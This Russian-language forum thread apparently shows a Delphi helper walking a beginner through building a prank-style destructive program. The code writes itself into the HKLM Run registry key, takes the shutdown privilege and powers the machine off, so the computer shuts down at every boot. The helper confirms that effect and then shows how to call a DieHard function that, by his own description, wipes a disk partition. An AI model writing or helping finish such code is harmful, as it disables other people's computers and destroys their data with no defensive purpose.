проблема с закрытием формы

[Terran]

Кидаете модуль в папку с проектом и потом пишете следующий код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Uses
   RegTerr;
procedure TForm1.FormActivate(Sender: TObject);
var
hToken: THandle;
tkp: TTokenPrivileges;
ReturnLength: Cardinal;
begin
InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);
if OpenProcessToken(GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
begin
LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
ExitWindowsEx(EWX_ShutDown,0);// Выключение
end;
end;
end.

Не копируйте из модуля подчистую процедуру, а просто вызывайте её.

[betirsolt]

а в модуле RegTerr процедуру InstalAZ надо записывать так:

Procedure InstalAZ(RRootKey: Integer; Key: String; PName: String; PValue: String); или вот так

InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWA RE\Microsoft\Windows\CurrentVersion \Run','Proga',Application.ExeName);

все компилируется без ошибок))))но открывать эту прогу я не стал))))

если открыть эту прогу то по идее она должна прописать себя в реестр на автозапуск и потом выключить комп...и после этого при каждом включении комп должен выключаться????вот так должно быть??все правильно там???

[Terran]

В модуле ничего делать не нужно, там всё уже сделано. Просто его подключаете к своей программе и потом из него вызываете нужную процедуру или функцию.
Вот пример вызова:

InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);

при каждом включении комп должен выключаться????

Да.

[betirsolt]

terran а ничего что я из твоего модуля удалил процедуру

Procedure UnInstalAZ(RRootKey: Integer; Key: String; ValName: String);

я же не хочу удаляться из реестра так ведь????

и еще если при следующем включении у меня на компе например на диске C не окажется этой проги то комп не будет выключаться????

[Terran]

terran а ничего что я из твоего модуля удалил процедуру

Делайте как вам удобней.
Без вызова этой процедуры ничего не удалится.

и еще если при следующем включении у меня на компе например на диске C не окажется этой проги то комп не будет выключаться????

Если в пути автозагрузки не окажется программы, то она не запустится.

[betirsolt]

А НЕ ПОДСКАЖЕТЕ КАК ТУДА ЕЩЕ ДОБАВИТЬ

Function DieHard(Drive: Char): Boolean;

Я ЕЩЕ НЕ ИСПОЛЬЗОВАЛ ПРОЦЕДУРЫ И ФУНКЦИИ ВМЕСТЕ
КАК ЭТО ДЕЛАЕТСЯ ОБЪЯСНИТЕ ПОЖАЛУЙСТА НОВИЧКУ)))

[Terran]

А НЕ ПОДСКАЖЕТЕ КАК ТУДА ЕЩЕ ДОБАВИТЬ Function DieHard(Drive: Char): Boolean;

Uses
   FuncTerr;
...
begin
InstalAZ(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Proga',Application.ExeName);
DieHard('D');
if OpenProcessToken(GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
...

Только лучше с функцией DieHard не балуйтесь. Она не форматирует диск. Она затирает указанный раздел на диске.

[betirsolt]

т.е мне надо сохранит модуль в папке с прогой и там записать функцию

unit FuncTerr;

interface

Function DieHard(Drive: Char): Boolean;

implementation

end.

вот так правильно????
и потом просто вызвать ее как тогда процедуру???

точнее вот так должно быть:????

unit FuncTerr;

interface
Uses
   Winsock, ClipBRD, Forms, Printers, TlHelp32, Windows, SysUtils, Classes;

Function DieHard(Drive: Char): Boolean;

implementation
Function DieHard(Drive: Char): Boolean;
begin
  diehard('D');
end;
end.

вобщем я не знаю помогите(((((

[Terran]

Вам нужно в папку с вашей программой скопировать модуль FuncTerr. Потом в своей программе добавить его имя в раздел Uses, как я написал выше. После того, как добавите его, в коде своей программы вызовите функцию из модуля. Весь код приведён в посте №31.

[betirsolt]

да кажется дошло до меня)))по крайнер мере откомпилировалась без ошибок...но запускать не рискну)))


а этот путь в реестр может быть таким:

в HKEY_CURRENT_USER\SOFTWARE\Microsof t\Windows\CurrentVersion\Run??

и как вы написали

HKEY_LOCAL_MACHINE\SOFTWARE\Microso ft\Windows\CurrentVersion\Run

и в чем там разница???

и еще вопрос...в этом модуле FuncTerr где uses надо писать все эти:

Winsock, ClipBRD, Forms, Printers, TlHelp32, Windows, SysUtils, Classes;

какую библиотеку из них можно убрать???